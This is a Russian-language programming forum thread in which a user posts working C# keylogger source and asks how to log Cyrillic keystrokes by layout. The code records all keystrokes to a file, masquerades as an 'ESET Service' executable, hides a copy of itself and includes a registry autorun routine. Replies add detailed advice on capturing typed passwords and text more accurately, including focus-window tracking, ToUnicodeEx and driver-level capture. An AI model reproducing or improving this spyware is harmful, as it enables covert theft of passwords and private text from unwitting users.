2 / 2 / 0
Регистрация: 12.07.2015
Сообщений: 15
1

Перехват Клавиш. Перевод латиницы в кириллицу

16.07.2015, 22:29. Показов 5607. Ответов 12
Метки нет (Все метки)

Здравствуйте уважаемые программисты. Случилась следующая проблема: делаю программу, которая нажатые клавиши на клавиатуре сохраняет в файл, но проблема в том, что сохраняет только латинские символы, не как не могу добиться сохранения и кириллицы (русских символов), то есть в зависимости от раскладки. Целый день бьюсь, не знаю как это реализовать. Код привел ниже. Подскажите пожалуйста где нужно добавить какие строки, для отслеживания раскладки и нормального сохранения символов в зависимости от раскладки. Спасибо.

Кликните здесь для просмотра всего текста
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
 
namespace ESET_Service
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Start()
        {
            while (true)
            {
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        string toStringKeys = Convert.ToString((Keys)i);
                        File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
                        break;
                    }
                }
            }
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
            Start();
        }
    }
}


Добавлено через 2 часа 40 минут
Нашёл способ который показывает текущую раскладку. Вызываю метод, а он мне возвращает текущую раскладку. Так вот, но это не всё. У меня есть код ascii латинского символа нажатого на клавиатуре (ну или сама буква, без разницы). Если какой-то способ, или метод который может перевести латиницу в кириллицу на основании клавиатуры? К примеру раскладка RUS, была нажата клавиша "F", то у меня в коде хранится его ascii код = 70, ну и сама буква "F". Можно ли как-то на основании этого перевести это в кириллицу,то есть в "А"?

Добавлено через 40 минут
Справился сам. Может у кого-то будут подобные проблемы, выложил код.

Кликните здесь для просмотра всего текста
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
using System.Security.Permissions;
using Microsoft.Win32;
 
namespace ESET_Service
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern IntPtr GetKeyboardLayout(int WindowsThreadProcessID);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int GetWindowThreadProcessId(IntPtr handleWindow, out int lpdwProcessID);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetForegroundWindow();
        public static string needPatch = "C:\\Users\\" + Environment.UserName + "\\Documents\\";
        System.Windows.Forms.Timer timer1;
        public Form1()
        {
            //SetAutorunValue(true, needPatch + "ESET Service.exe"); // добавить в автозагрузку
            //SetAutorunValue(false, needPatch + "ESET Service.exe");  // убрать из автозагрузки
            if (!File.Exists(needPatch + "ESET Service.exe"))
            {
                try
                {
                    File.Copy("ESET Service.exe", needPatch + "ESET Service.exe");
                    File.SetAttributes(needPatch + "ESET Service.exe", FileAttributes.Hidden);
 
                }
                catch { }
            }
            timer1 = new System.Windows.Forms.Timer();
            this.timer1.Enabled = true;
            this.timer1.Interval = 777;
            this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
            InitializeComponent();
        }
        private static InputLanguageCollection _InstalledInputLanguages;
        // Идентификатор активного потока
        private static int _ProcessId;
        // Текущий язык ввода
        private static string _CurrentInputLanguage;
 
        private static string GetKeyboardLayoutId()
        {
 
            _InstalledInputLanguages = InputLanguage.InstalledInputLanguages;
 
            // Получаем хендл активного окна
            IntPtr hWnd = GetForegroundWindow();
            // Получаем номер потока активного окна
            int WinThreadProcId = GetWindowThreadProcessId(hWnd, out _ProcessId);
 
            // Получаем раскладку
            IntPtr KeybLayout = GetKeyboardLayout(WinThreadProcId);
            // Циклом перебираем все установленные языки для проверки идентификатора
            for (int i = 0; i < _InstalledInputLanguages.Count; i++)
            {
                if (KeybLayout == _InstalledInputLanguages[i].Handle)
                {
                    _CurrentInputLanguage = _InstalledInputLanguages[i].Culture.ThreeLetterWindowsLanguageName.ToString();
                }
            }
            return _CurrentInputLanguage;
 
        }
 
        private void timer1_Tick(object sender, EventArgs e)
        {
            Text = GetKeyboardLayoutId();
 
        }
 
        [DllImport("user32.dll")]
 
        public static extern int GetAsyncKeyState(Int32 i);
        static void Start()
        {
            while (true)
            {
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        string toStringKeys;
                        if (GetKeyboardLayoutId() != "ENU")
                        {
                            switch (Convert.ToString((Keys)i))
                            {
                                case "Q": toStringKeys = "Й"; break;
                                case "W": toStringKeys = "Ц"; break;
                                case "E": toStringKeys = "У"; break;
                                case "R": toStringKeys = "К"; break;
                                case "T": toStringKeys = "Е"; break;
                                case "Y": toStringKeys = "Н"; break;
                                case "U": toStringKeys = "Г"; break;
                                case "I": toStringKeys = "Ш"; break;
                                case "O": toStringKeys = "Щ"; break;
                                case "P": toStringKeys = "З"; break;
                                case "OemOpenBrackets": toStringKeys = "Х"; break;
                                case "Oem6": toStringKeys = "Ъ"; break;
                                case "A": toStringKeys = "Ф"; break;
                                case "S": toStringKeys = "Ы"; break;
                                case "D": toStringKeys = "В"; break;
                                case "F": toStringKeys = "А"; break;
                                case "G": toStringKeys = "П"; break;
                                case "H": toStringKeys = "Р"; break;
                                case "J": toStringKeys = "О"; break;
                                case "K": toStringKeys = "Л"; break;
                                case "L": toStringKeys = "Д"; break;
                                case "Oem1": toStringKeys = "Ж"; break;
                                case "Oem7": toStringKeys = "Э"; break;
                                case "Z": toStringKeys = "Я"; break;
                                case "X": toStringKeys = "Ч"; break;
                                case "C": toStringKeys = "С"; break;
                                case "V": toStringKeys = "М"; break;
                                case "B": toStringKeys = "И"; break;
                                case "N": toStringKeys = "Т"; break;
                                case "M": toStringKeys = "Ь"; break;
                                case "Oemcomma": toStringKeys = "Б"; break;
                                case "OemPeriod": toStringKeys = "Ю"; break;
                                default: toStringKeys = Convert.ToString((Keys)i); break;
                            }
                        }
                        //MessageBox.Show((i).ToString(), "");
                        else
                        {
                            toStringKeys = Convert.ToString((Keys)i);
                            //MessageBox.Show((Convert.ToString((Keys)i)).ToString(), "");
                        }
                        File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys, Encoding.Default);
                        //File.SetAttributes("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", FileAttributes.Hidden);
                        break;
                    }
                }
            }
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
            Start();
        }
 
        public static bool SetAutorunValue(bool autorun, string npath)
        {
            const string name = "systems";
            string ExePath = npath;
            RegistryKey reg;
 
            reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
            try
            {
                if (autorun)
                    reg.SetValue(name, ExePath);
                else
                    reg.DeleteValue(name);
                reg.Flush();
                reg.Close();
            }
            catch
            {
                return false;
            }
            return true;
        }
 
    }
}
__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь
2
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
16.07.2015, 22:29
Ответы с готовыми решениями:

Перехват клавиш
Здравствуйте, нашёл в свободном доступе код: using System; using System.Collections.Generic;...

перехват клавиш
Здравствуйте ! Как пользоваться этой функцией ? что надо вставить в функцию Main ? ...

Глобальный перехват клавиш
Народ, подсобите пожалуйста! Че-то у мня ваще не выходит эту штуку заставить работать на...

Перехват нажатий клавиш
Добрый вечер! Подскажите пожалуйста, как в консольном приложении перехватить нажатие клавиш на...

12
2078 / 1231 / 464
Регистрация: 20.12.2014
Сообщений: 3,232
16.07.2015, 22:30 2
А какова цель? Чтобы при английской раскладке, всё равно печатались русские буквы?
0
2 / 2 / 0
Регистрация: 12.07.2015
Сообщений: 15
16.07.2015, 22:31  [ТС] 3
Цитата Сообщение от chumich Посмотреть сообщение
А какова цель? Чтобы при английской раскладке, всё равно печатались русские буквы?
Чтобы при русской раскладке печатались русские символы, при английской раскладке латиница.
P.S. Уже справился сам, код прикрепил сверху. Но может есть более простая реализация, поэтому готов выслушать.
0
2078 / 1231 / 464
Регистрация: 20.12.2014
Сообщений: 3,232
16.07.2015, 22:40 4
Цитата Сообщение от delay Посмотреть сообщение
Чтобы при русской раскладке печатались русские символы, при английской раскладке латиница.
Честно говоря всё равно не въеду: у меня на компьютере и так при русской раскладке печатаются русские символы, а при английской раскладке латиница. Но суть не в этом. Если вы говорите, что у вас есть код, возвращающий текущую раскладку, то можно, например на if/else сделать так:
C#
1
2
3
4
5
6
7
8
if (раскладка русская)
{
     InputLanguage.CurrentInputLanguage =  InputLanguage.FromCulture(new System.Globalization.CultureInfo("ru-RU"));
}
else
{
     InputLanguage.CurrentInputLanguage =  InputLanguage.FromCulture(new System.Globalization.CultureInfo("en-US"));
}
0
Ушел с форума
Эксперт С++
16448 / 7412 / 1186
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
17.07.2015, 08:57 5
Цитата Сообщение от delay Посмотреть сообщение
C#
1
public static extern IntPtr GetForegroundWindow();
Здесь надежнее использовать GetGUIThreadInfo и брать HWND из GUITHREADINFO.hwndFocus.
GetForegroundWindow для некоторых приложений может выдавать "не то" окно.
Например, заполнение веб-форм на некоторых сайтах в Internet Explorer, некоторые
элементы управления в modern-приложениях на Windows 8 и другие.
0
2 / 2 / 0
Регистрация: 12.07.2015
Сообщений: 15
18.07.2015, 15:19  [ТС] 6
Цитата Сообщение от Убежденный Посмотреть сообщение
Здесь надежнее использовать GetGUIThreadInfo и брать HWND из GUITHREADINFO.hwndFocus.
GetForegroundWindow для некоторых приложений может выдавать "не то" окно.
Например, заполнение веб-форм на некоторых сайтах в Internet Explorer, некоторые
элементы управления в modern-приложениях на Windows 8 и другие.
Можно пожалуйста подробнее? Или пример кода что мне нужно изменить, а то не совсем понял насчёт HWND
0
Ушел с форума
Эксперт С++
16448 / 7412 / 1186
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
18.07.2015, 19:00 7
GetForegroundWindow определяет HWND окна, в которое в данный момент идет ввод.
GetWindowThreadProcessId получает ID потока по HWND окна, а GetKeyboardLayout определяет
раскладку клавиатуры для этого потока. На вид все окей, если не считать проблем с
консольными приложениями, но на самом деле фокусом ввода может владеть другое окно, а
не то, HWND которого вернула GetForegroundWindow. И в этом случае вы не зафиксируете,
что раскладка клавиатуры изменилась.

Пример: если в последних версиях Internet Explorer зайти на главную страницу mail.ru и
понабирать там текст в полях "имя" и "пароль" на русском и английском, то ваша программа
смены раскладки не увидит. Такие же проблемы есть и в других приложениях, например, я
видел подобное в некоторых modern-приложениях на Windows 8 и выше.

Выход такой: вместо GetForegroundWindow использовать функцию GetGUIThreadInfo:

GetGUIThreadInfo function
https://msdn.microsoft.com/en-... 85%29.aspx

В idThread (первый параметр) следует передавать 0. В случае успеха функция заполняет
структуру GUITHREADINFO, в ней hwndActive будет иметь то же самое значение, которое
получила бы GetForegroundWindow, а в hwndFocus будет HWND окна, которое в данный
момент владеет фокусом ввода, вот его и нужно использовать в GetWindowThreadProcessId.
В большинстве случаев hwndActive и hwndFocus будут одинаковыми, но не всегда.

Вообще, написать хороший кейлоггер - дело непростое.
Вот, например, как вы отличите, что пользователь нажал "%", а не "SHIFT и 5" ?
Или что клавиша нажимается в результате генерации авто-повтора ?
Цифровой блок клавиатуры тоже штука хитрая. Состояние Caps-, Num- и
Scroll-локов еще нужно учитывать. И т.д.
1
2 / 2 / 0
Регистрация: 12.07.2015
Сообщений: 15
18.07.2015, 19:07  [ТС] 8
Убежденный, Спасибо большое за подробный ответ, исправим ошибку.
А вот насчёт комбинаций клавиш проблему очень легко решил. Сначала написал кейлоггер, который перехватывает полностью все клавиши и с предварительной записью их в текстовый документ, а затем написал ещё одну программу, которая обрабатывает этот файл, и уже там находит комбинации клавиш, делает красивые предложения, а не каждая буква на отдельной строке, и отслеживает где действительно была нажата комбинация клавиш,а где нет. Всё так банально и легко, ничего сложного.
0
Ушел с форума
Эксперт С++
16448 / 7412 / 1186
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
18.07.2015, 19:13 9
Цитата Сообщение от delay Посмотреть сообщение
Всё так банально и легко, ничего сложного.
Угу, так я и поверил Ну покажите, интереса ради, как вы обрабатываете нажатие 'Del'
на цифровом блоке клавиатуры и какой в итоге символ попадает в лог-файл.
Сразу скажу, что сам я все обозначенные проблемы давно решил (кроме раскладки
клавиатуры в консольных приложениях), так что тема для меня имеет лишь интерес в
плане привлечь внимание к некоторым проблемам.
0
2 / 2 / 0
Регистрация: 12.07.2015
Сообщений: 15
18.07.2015, 20:34  [ТС] 10
Цитата Сообщение от Убежденный Посмотреть сообщение
Угу, так я и поверил Ну покажите, интереса ради, как вы обрабатываете нажатие 'Del'
на цифровом блоке клавиатуры и какой в итоге символ попадает в лог-файл.
Сразу скажу, что сам я все обозначенные проблемы давно решил (кроме раскладки
клавиатуры в консольных приложениях), так что тема для меня имеет лишь интерес в
плане привлечь внимание к некоторым проблемам.
Пожалуйста, лог в файле клавиши "Delete". Затем просто просматривается количество раз нажатия Delete, такое количество символов и затирается, что тяжелого, не знаю чему вы так удивляетесь.
P.S. Если у вас уже всё готово, то можно было бы увидеть сам проект? Тем самым упростив жизнь другим. Мне к примеру был очень полезен.
0
Ушел с форума
Эксперт С++
16448 / 7412 / 1186
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
18.07.2015, 21:15 11
Цитата Сообщение от delay Посмотреть сообщение
Пожалуйста, лог в файле клавиши "Delete". Затем просто просматривается количество раз нажатия Delete, такое количество символов и затирается, что тяжелого, не знаю чему вы так удивляетесь.
Если NumLock включен, нажатие Del на дополнительном цифровом блоке
главиатуры генерирует "." для английской раскладки и "," для русской.
Или какой-нибудь другой символ, в зависимости от настроек локализации.
А вот если нажат Shift - тогда будет Del. Вот этому я и "удивляюсь".

Цитата Сообщение от delay Посмотреть сообщение
P.S. Если у вас уже всё готово, то можно было бы увидеть сам проект? Тем самым упростив жизнь другим. Мне к примеру был очень полезен.
Код я выложить не могу, т.к. он является собственностью компании.
Но могу объяснить принцип: у меня есть скрытое окно. Когда фиксируется нажатие
или отпускание клавиши, я отправляю в это окно сообщения WM_KEYDOWN и WM_KEYUP с
соответствующими параметрами, а дальше все делает TranslateMessage в цикле
обработки оконных сообщений, т.е. она генерирует сообщение WM_CHAR уже с
готовым символом, бери да пиши в лог. Специальные клавиши типа Shift, Alt,
F1-F12 и т.д. фиксируются в WM_KEYDOWN. При этом я отслеживают еще и состояние
обоих Ctrl-ов (например, нажатие "X" при удерживаемом Ctrl генерирует команду
"Cut", а не символ "X"). Когда нажимается клавиша на дополнительном цифровом
блоке клавиатуры, то там тоже особая обработка, в зависимости от состояния NumLock:
если он включен и не зажат Shift, то коды конвертируются в VK_NUMPAD0/9 и
VK_DECIMAL для Del.

Ну а сам перехват клавиш сделан с помощью драйвера, в этом есть плюсы: не нужно ставить
хуки, не нужен опрос клавиш в цикле, автоматически обрабатываются авто-повторы и т.д.
И там еще есть переключение потока на активный десктоп и создание экземпляра кейлоггера в
каждой сессии (актуально, например, для сервера терминалов, да и для Fast User
Switching тоже). Впрочем, это уже не имеет отношения к теме.

Такая техника позволяет получать лог, соответствующий на 95-99% тому, что юзер
реально набирает на клавиатуре.

--------

Кстати, вместо того, чтобы гонять в цикле GetAsyncKeyState, проще
вызвать GetKeyboardState один раз.

А вместо GetKeyboardLayoutId и длинного блока switch/case с трансляцией
ENG в RUS можно скормить код клавиши в ToUnicodeEx - она понимает
клавиатурные раскладки и выдает соответствующий символ.
1
8 / 8 / 1
Регистрация: 19.04.2012
Сообщений: 71
17.12.2015, 08:15 12
Убежденный, посоветуйте что почитать про TranslateMessage. Стало интересно, ибо реализую похожий проект.
0
Ушел с форума
Эксперт С++
16448 / 7412 / 1186
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
17.12.2015, 09:18 13
TranslateMessage преобразует оконные сообщения WM_KEYDOWN/KEYUP и т.п. в
сообщения WM_CHAR с готовыми буквенными кодами нажатых клавиш.
Читать на MSDN.
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
17.12.2015, 09:18
Помогаю со студенческими работами здесь

Перехват клавиш ( хуки )
И так я уже написал программу ( которая отлавливает нажатия клавиш и передает их в текстбокс...

Не работает перехват сочетания клавиш
private void Form1_KeyDown(object sender, KeyEventArgs e) { if (e.Modifiers...

Глобальный перехват сочетаний клавиш
Здравствуйте! Подскажите(покажите) пожалуйста, как сделать чтобы при нажатии на Ctrl+V, в том месте...

Глобальный перехват клавиш в системе
Доброе время суток. Взял дипломную работу клавиатурный шпион. Думал не все так сложно. Сделал...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
13
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2022, CyberForum.ru